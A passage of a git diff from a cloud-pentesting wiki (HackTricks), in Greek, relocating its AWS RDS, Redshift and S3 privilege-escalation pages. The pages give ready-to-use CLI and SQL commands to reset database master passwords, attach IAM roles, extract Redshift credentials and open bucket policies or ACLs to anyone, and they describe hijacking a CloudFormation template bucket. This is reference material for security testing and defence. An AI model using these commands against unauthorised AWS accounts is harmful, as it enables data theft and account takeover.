`AWSRDSCustom`. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Πιθανές Επιπτώσεις**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα της RDS παρουσίας. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -Ένας επιτιθέμενος με τις άδειες `rds:AddRoleToDBInstance` και `iam:PassRole` μπορεί να **προσθέσει έναν καθορισμένο ρόλο σε μια υπάρχουσα RDS παρουσία**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός της παρουσίας. - -> [!WARNING] -> Η DB παρουσία πρέπει να είναι εκτός ενός cluster για αυτό -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Πιθανές Επιπτώσεις**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα της RDS παρουσίας. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..73d4dafc0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - Relational Database Service + +Για περισσότερες πληροφορίες σχετικά με το RDS δείτε: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +Με αυτήν την άδεια ένας επιτιθέμενος μπορεί να **αλλάξει τον κωδικό πρόσβασης του master user**, και το login μέσα στη βάση δεδομένων: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Θα χρειαστεί να μπορείτε να **contact to the database** (συνήθως είναι προσβάσιμα μόνο από το εσωτερικό των networks). + +**Potential Impact:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στις databases. + +### rds-db:connect + +Σύμφωνα με τα [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) ένας χρήστης με αυτήν την άδεια θα μπορούσε να συνδεθεί στην DB instance. + +### Abuse RDS Role IAM permissions + +#### Postgresql (Aurora) + +> [!TIP] +> Αν εκτελώντας **`SELECT datname FROM pg_database;`** βρείτε μια database με όνομα **`rdsadmin`**, τότε γνωρίζετε ότι βρίσκεστε μέσα σε μια **AWS postgresql database**. + +Πρώτα μπορείτε να ελέγξετε αν αυτή η database έχει χρησιμοποιηθεί για πρόσβαση σε οποιαδήποτε άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε κοιτάζοντας τις εγκατεστημένες επεκτάσεις: +```sql +SELECT * FROM pg_extension; +``` +Εάν βρείτε κάτι σαν **`aws_s3`** μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει **κάποιο είδος πρόσβασης στο S3** (υπάρχουν και άλλες επεκτάσεις όπως **`aws_ml`** και **`aws_lambda`**). + +Επίσης, αν έχετε δικαιώματα να τρέξετε **`aws rds describe-db-clusters`** μπορείτε να δείτε εκεί αν ο **cluster έχει κάποιο IAM Role attached** στο πεδίο **`AssociatedRoles`**. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν **προετοιμασμένη να έχει πρόσβαση σε άλλες AWS υπηρεσίες**. Βάσει του **name of the role** (ή αν μπορείτε να πάρετε τα **permissions** του role) θα μπορούσατε να **μαντέψετε** ποια επιπλέον πρόσβαση έχει η βάση δεδομένων. + +Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** χρειάζεται να γνωρίζετε το πλήρες path. Μπορείτε να το διαβάσετε με: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +Εάν είχατε **raw AWS credentials** θα μπορούσατε επίσης να τα χρησιμοποιήσετε για πρόσβαση σε δεδομένα S3 με: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **δεν χρειάζεται να αλλάξει καμία μεταβλητή του parameter group** για να μπορεί να έχει πρόσβαση στο S3. + +#### Mysql (Aurora) + +> [!TIP] +> Μέσα σε ένα mysql, αν εκτελέσεις το ερώτημα **`SELECT User, Host FROM mysql.user;`** και υπάρχει ένας χρήστης με όνομα **`rdsadmin`**, μπορείς να υποθέσεις ότι βρίσκεσαι μέσα σε ένα **AWS RDS mysql db**. + +Μέσα στο mysql εκτέλεσε **`show variables;`** και αν μεταβλητές όπως **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** έχουν τιμές, μπορείς να υποθέσεις ότι η βάση δεδομένων είναι προετοιμασμένη να έχει πρόσβαση σε δεδομένα στο S3. + +Επίσης, αν έχεις δικαιώματα να εκτελέσεις **`aws rds describe-db-clusters`**, μπορείς να ελέγξεις αν το cluster έχει κάποιο συσχετισμένο ρόλο, που συνήθως σημαίνει πρόσβαση στις υπηρεσίες AWS. + +Τώρα, για να **διαβάσεις ένα αρχείο μέσα σε ένα bucket** χρειάζεται να γνωρίζεις το πλήρες μονοπάτι. Μπορείς να το διαβάσεις με: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBCluster` και `iam:PassRole` μπορεί να **προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην RDS instance.\ +Σημειώστε ότι κάποια DBs απαιτούν επιπλέον configs όπως Mysql, που χρειάζεται επίσης να προσδιοριστεί το role ARN στα aprameter groups. + +### `rds:CreateDBInstance` + +Μόνο με αυτήν την άδεια ένας attacker θα μπορούσε να δημιουργήσει μια **new instance inside a cluster** που ήδη υπάρχει και έχει μια **IAM role** συνδεδεμένη. Δεν θα μπορεί να αλλάξει το master user password, αλλά μπορεί να εκθέσει τη νέα database instance στο internet: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO: Δοκιμή + +Ένας επιτιθέμενος με τα δικαιώματα `rds:CreateDBInstance` και `iam:PassRole` μπορεί να **δημιουργήσει ένα νέο RDS instance με έναν καθορισμένο role συνημμένο**. Ο επιτιθέμενος στη συνέχεια μπορεί ενδεχομένως να **αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. + +> [!WARNING] +> Μερικές απαιτήσεις για το role/instance-profile που θα προσαρτηθεί (από [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - Το profile πρέπει να υπάρχει στον λογαριασμό σας. +> - Το profile πρέπει να έχει ένα IAM role που το Amazon EC2 έχει δικαιώματα να αναλάβει. +> - Το όνομα του instance profile και το συσχετισμένο όνομα IAM role πρέπει να ξεκινούν με το πρόθεμα `AWSRDSCustom`. +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Potential Impact**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στο RDS instance. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBInstance` και `iam:PassRole` μπορεί να **προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. + +> [!WARNING] +> Η DB instance πρέπει να βρίσκεται εκτός cluster για αυτό +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Potential Impact**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα του RDS instance. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md deleted file mode 100644 index ffd71bda9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Redshift Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Redshift - -Για περισσότερες πληροφορίες σχετικά με το RDS, ελέγξτε: - -{{#ref}} -../aws-services/aws-redshift-enum.md -{{#endref}} - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` - -Με αυτές τις άδειες μπορείτε να αποκτήσετε **πληροφορίες για όλα τα clusters** (συμπεριλαμβανομένου του ονόματος και του ονόματος χρήστη του cluster) και **να αποκτήσετε διαπιστευτήρια** για να έχετε πρόσβαση σε αυτό: -```bash -# Get creds -aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων. - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` - -Με αυτές τις άδειες μπορείτε να αποκτήσετε **πληροφορίες για όλα τα clusters** και **να αποκτήσετε διαπιστευτήρια** για να έχετε πρόσβαση σε αυτά.\ -Σημειώστε ότι ο χρήστης postgres θα έχει τις **άδειες που έχει η ταυτότητα IAM** που χρησιμοποιήθηκε για να αποκτήσει τα διαπιστευτήρια. -```bash -# Get creds -aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων. - -### `redshift:DescribeClusters`, `redshift:ModifyCluster?` - -Είναι δυνατόν να **τροποποιήσετε τον κύριο κωδικό πρόσβασης** του εσωτερικού χρήστη postgres (redshift) από το aws cli (νομίζω ότι αυτές είναι οι άδειες που χρειάζεστε αλλά δεν τις έχω δοκιμάσει ακόμα): -``` -aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων. - -## Πρόσβαση σε Εξωτερικές Υπηρεσίες - -> [!WARNING] -> Για να έχετε πρόσβαση σε όλους τους παρακάτω πόρους, θα χρειαστεί να **καθορίσετε τον ρόλο που θα χρησιμοποιήσετε**. Ένα Redshift cluster **μπορεί να έχει ανατεθεί μια λίστα ρόλων AWS** που μπορείτε να χρησιμοποιήσετε **αν γνωρίζετε το ARN** ή μπορείτε απλά να ορίσετε το "**default**" για να χρησιμοποιήσετε τον προεπιλεγμένο που έχει ανατεθεί. - -> Επιπλέον, όπως [**εξηγείται εδώ**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), το Redshift επιτρέπει επίσης τη συγχώνευση ρόλων (αρκεί ο πρώτος να μπορεί να αναλάβει τον δεύτερο) για να αποκτήσετε περαιτέρω πρόσβαση, απλά **χωρίζοντάς** τους με μια **κόμμα**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` - -### Lambdas - -Όπως εξηγείται στο [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), είναι δυνατόν να **καλέσετε μια lambda function από το redshift** με κάτι σαν: -```sql -CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) -RETURNS INT -STABLE -LAMBDA 'lambda_function' -IAM_ROLE default; -``` -### S3 - -Όπως εξηγείται στο [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), είναι δυνατόν να **διαβάσετε και να γράψετε σε S3 buckets**: -```sql -# Read -copy table from 's3:///load/key_prefix' -credentials 'aws_iam_role=arn:aws:iam:::role/' -region '' -options; - -# Write -unload ('select * from venue') -to 's3://mybucket/tickit/unload/venue_' -iam_role default; -``` -### Dynamo - -Όπως εξηγείται στο [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), είναι δυνατόν να **πάρετε δεδομένα από το dynamodb**: -```sql -copy favoritemovies -from 'dynamodb://ProductCatalog' -iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; -``` -> [!WARNING] -> Ο πίνακας Amazon DynamoDB που παρέχει τα δεδομένα πρέπει να δημιουργηθεί στην ίδια περιοχή AWS με το cluster σας, εκτός αν χρησιμοποιήσετε την επιλογή [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) για να καθορίσετε την περιοχή AWS στην οποία βρίσκεται ο πίνακας Amazon DynamoDB. - -### EMR - -Ελέγξτε [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) - -## References - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md new file mode 100644 index 000000000..76421d9ef --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Redshift Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Redshift + +Για περισσότερες πληροφορίες σχετικά με το RDS δείτε: + +{{#ref}} +../../aws-services/aws-redshift-enum.md +{{#endref}} + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` + +Με αυτά τα permissions μπορείτε να αποκτήσετε **info of all the clusters** (including name and cluster username) και να **get credentials** ώστε να αποκτήσετε πρόσβαση σε αυτά: +```bash +# Get creds +aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 +``` +**Πιθανός αντίκτυπος:** Εύρεση ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων. + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` + +Με αυτά τα permissions μπορείτε να πάρετε **πληροφορίες για όλα τα clusters** και **να αποκτήσετε credentials** για να έχετε πρόσβαση.\ +Σημειώστε ότι ο χρήστης postgres θα έχει τα **permissions που έχει η IAM identity** που χρησιμοποιήθηκε για να πάρει τα credentials. +```bash +# Get creds +aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 +``` +**Πιθανός Αντίκτυπος:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων. + +### `redshift:DescribeClusters`, `redshift:ModifyCluster?` + +Είναι δυνατό να **τροποποιήσετε τον κύριο κωδικό πρόσβασης** του εσωτερικού χρήστη postgres (redshit) από το aws cli (νομίζω ότι αυτές είναι οι permissions που χρειάζεστε, αλλά δεν έχουν δοκιμαστεί ακόμα): +``` +aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; +``` +**Potential Impact:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων. + +## Πρόσβαση σε Εξωτερικές Υπηρεσίες + +> [!WARNING] +> Για να αποκτήσετε πρόσβαση σε όλους τους παρακάτω πόρους, θα πρέπει **να προσδιορίσετε τον ρόλο που θα χρησιμοποιήσετε**. Ένας Redshift cluster **μπορεί να έχει εκχωρημένη μια λίστα AWS roles** που μπορείτε να χρησιμοποιήσετε **εάν γνωρίζετε το ARN** ή μπορείτε απλώς να ορίσετε "**default**" για να χρησιμοποιήσετε τον προεπιλεγμένο που έχει εκχωρηθεί. + +> Επιπλέον, όπως [**εξηγείται εδώ**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), το Redshift επιτρέπει επίσης να συνενώσει roles (εφόσον ο πρώτος μπορεί να αναλάβει τον δεύτερο) για να αποκτήσετε περαιτέρω πρόσβαση αλλά απλά **χωρίζοντάς** τους με ένα **κόμμα**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` + +### Lambdas + +As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **καλέσετε μια lambda function από το redshift** με κάτι σαν: +```sql +CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) +RETURNS INT +STABLE +LAMBDA 'lambda_function' +IAM_ROLE default; +``` +### S3 + +Όπως εξηγείται στο [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), είναι δυνατή η **ανάγνωση και εγγραφή σε S3 buckets**: +```sql +# Read +copy table from 's3:///load/key_prefix' +credentials 'aws_iam_role=arn:aws:iam:::role/' +region '' +options; + +# Write +unload ('select * from venue') +to 's3://mybucket/tickit/unload/venue_' +iam_role default; +``` +### Dynamo + +Όπως εξηγείται στο [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), είναι δυνατό να **αποκτήσετε δεδομένα από dynamodb**: +```sql +copy favoritemovies +from 'dynamodb://ProductCatalog' +iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; +``` +> [!WARNING] +> Ο πίνακας Amazon DynamoDB που παρέχει τα δεδομένα πρέπει να δημιουργηθεί στην ίδια AWS Region με το cluster σας, εκτός αν χρησιμοποιήσετε την επιλογή [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) για να καθορίσετε την AWS Region στην οποία βρίσκεται ο πίνακας Amazon DynamoDB. + +### EMR + +Δείτε [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) + +## Αναφορές + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md deleted file mode 100644 index 6a73631ba..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ /dev/null @@ -1,186 +0,0 @@ -# AWS - S3 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` - -Ένας επιτιθέμενος με αυτές τις άδειες σε ενδιαφέροντα buckets μπορεί να είναι σε θέση να καταλάβει πόρους και να αναβαθμίσει προνόμια. - -Για παράδειγμα, ένας επιτιθέμενος με αυτές τις **άδειες σε ένα cloudformation bucket** που ονομάζεται "cf-templates-nohnwfax6a6i-us-east-1" θα είναι σε θέση να καταλάβει την ανάπτυξη. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη πολιτική: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": [ -"s3:PutBucketNotification", -"s3:GetBucketNotification", -"s3:PutObject", -"s3:GetObject" -], -"Resource": [ -"arn:aws:s3:::cf-templates-*/*", -"arn:aws:s3:::cf-templates-*" -] -}, -{ -"Effect": "Allow", -"Action": "s3:ListAllMyBuckets", -"Resource": "*" -} -] -} -``` -Και η κατάληψη είναι δυνατή επειδή υπάρχει ένα **μικρό χρονικό παράθυρο από τη στιγμή που το πρότυπο ανεβαίνει** στον κάδο μέχρι τη στιγμή που το **πρότυπο αναπτύσσεται**. Ένας επιτιθέμενος μπορεί απλώς να δημιουργήσει μια **lambda function** στον λογαριασμό του που θα **ενεργοποιείται όταν σταλεί μια ειδοποίηση κάδου**, και **καταλαμβάνει** το **περιεχόμενο** αυτού του **κάδου**. - -![](<../../../images/image (174).png>) - -Το module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) μπορεί να χρησιμοποιηθεί για να αυτοματοποιήσει αυτή την επίθεση.\ -Για περισσότερες πληροφορίες, ελέγξτε την αρχική έρευνα: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) - -### `s3:PutObject`, `s3:GetObject` - -Αυτές είναι οι άδειες για **λήψη και ανέβασμα αντικειμένων στο S3**. Πολλές υπηρεσίες μέσα στο AWS (και εκτός αυτού) χρησιμοποιούν αποθήκευση S3 για να αποθηκεύσουν **αρχεία ρυθμίσεων**.\ -Ένας επιτιθέμενος με **δικαιώματα ανάγνωσης** σε αυτά μπορεί να βρει **ευαίσθητες πληροφορίες** σε αυτά.\ -Ένας επιτιθέμενος με **δικαιώματα εγγραφής** σε αυτά θα μπορούσε να **τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να κλιμακώσει τα δικαιώματα**.\ -Αυτά είναι μερικά παραδείγματα: - -- Αν μια EC2 instance αποθηκεύει τα **δεδομένα χρήστη σε έναν κάδο S3**, ένας επιτιθέμενος θα μπορούσε να το τροποποιήσει για να **εκτελέσει αυθαίρετο κώδικα μέσα στην EC2 instance**. - -### `s3:PutObject`, `s3:GetObject` (προαιρετικό) πάνω από το αρχείο κατάστασης terraform - -Είναι πολύ συνηθισμένο τα αρχεία κατάστασης [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) να αποθηκεύονται σε blob storage παρόχων cloud, π.χ. AWS S3. Η κατάληξη αρχείου για ένα αρχείο κατάστασης είναι `.tfstate`, και τα ονόματα των κάδων συχνά αποκαλύπτουν ότι περιέχουν αρχεία κατάστασης terraform. Συνήθως, κάθε λογαριασμός AWS έχει έναν τέτοιο κάδο για να αποθηκεύει τα αρχεία κατάστασης που δείχνουν την κατάσταση του λογαριασμού. -Επίσης, συνήθως, στον πραγματικό κόσμο, σχεδόν πάντα όλοι οι προγραμματιστές έχουν `s3:*` και μερικές φορές ακόμη και οι επιχειρηματικοί χρήστες έχουν `s3:Put*`. - -Έτσι, αν έχετε τις άδειες που αναφέρονται πάνω από αυτά τα αρχεία, υπάρχει ένα επιθετικός διαδρομή που σας επιτρέπει να αποκτήσετε RCE στην pipeline με τα δικαιώματα του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του λογαριασμού cloud. Επίσης, μπορείτε να χρησιμοποιήσετε αυτή τη διαδρομή για να κάνετε μια επίθεση άρνησης υπηρεσίας κάνοντάς το `terraform` να διαγράψει νόμιμους πόρους. - -Ακολουθήστε την περιγραφή στην ενότητα *Abusing Terraform State Files* της σελίδας *Terraform Security* για άμεσα χρησιμοποιήσιμο κώδικα εκμετάλλευσης: - -{{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files -{{#endref}} - -### `s3:PutBucketPolicy` - -Ένας επιτιθέμενος, που πρέπει να είναι **από τον ίδιο λογαριασμό**, αν όχι, το σφάλμα `The specified method is not allowed will trigger`, με αυτή την άδεια θα είναι σε θέση να παραχωρήσει στον εαυτό του περισσότερες άδειες πάνω στους κάδους επιτρέποντάς του να διαβάσει, να γράψει, να τροποποιήσει, να διαγράψει και να εκθέσει κάδους. -```bash -# Update Bucket policy -aws s3api put-bucket-policy --policy file:///root/policy.json --bucket - -## JSON giving permissions to a user and mantaining some previous root access -{ -"Id": "Policy1568185116930", -"Version":"2012-10-17", -"Statement":[ -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:root" -}, -"Action":"s3:ListBucket", -"Resource":"arn:aws:s3:::somebucketname" -}, -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:user/username" -}, -"Action":"s3:*", -"Resource":"arn:aws:s3:::somebucketname/*" -} -] -} - -## JSON Public policy example -### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS -{ -"Id": "Policy1568185116930", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Stmt1568184932403", -"Action": [ -"s3:ListBucket" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome", -"Principal": "*" -}, -{ -"Sid": "Stmt1568185007451", -"Action": [ -"s3:GetObject" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome/*", -"Principal": "*" -} -] -} -``` -### `s3:GetBucketAcl`, `s3:PutBucketAcl` - -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτές τις άδειες για να **του παραχωρήσει περισσότερη πρόσβαση** σε συγκεκριμένα buckets.\ -Σημειώστε ότι ο επιτιθέμενος δεν χρειάζεται να είναι από τον ίδιο λογαριασμό. Επιπλέον, η πρόσβαση εγγραφής -```bash -# Update bucket ACL -aws s3api get-bucket-acl --bucket -aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectAcl` - -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτές τις άδειες για να του παραχωρήσει περισσότερη πρόσβαση σε συγκεκριμένα αντικείμενα μέσα σε buckets. -```bash -# Update bucket object ACL -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` - -Ένας επιτιθέμενος με αυτά τα δικαιώματα αναμένεται 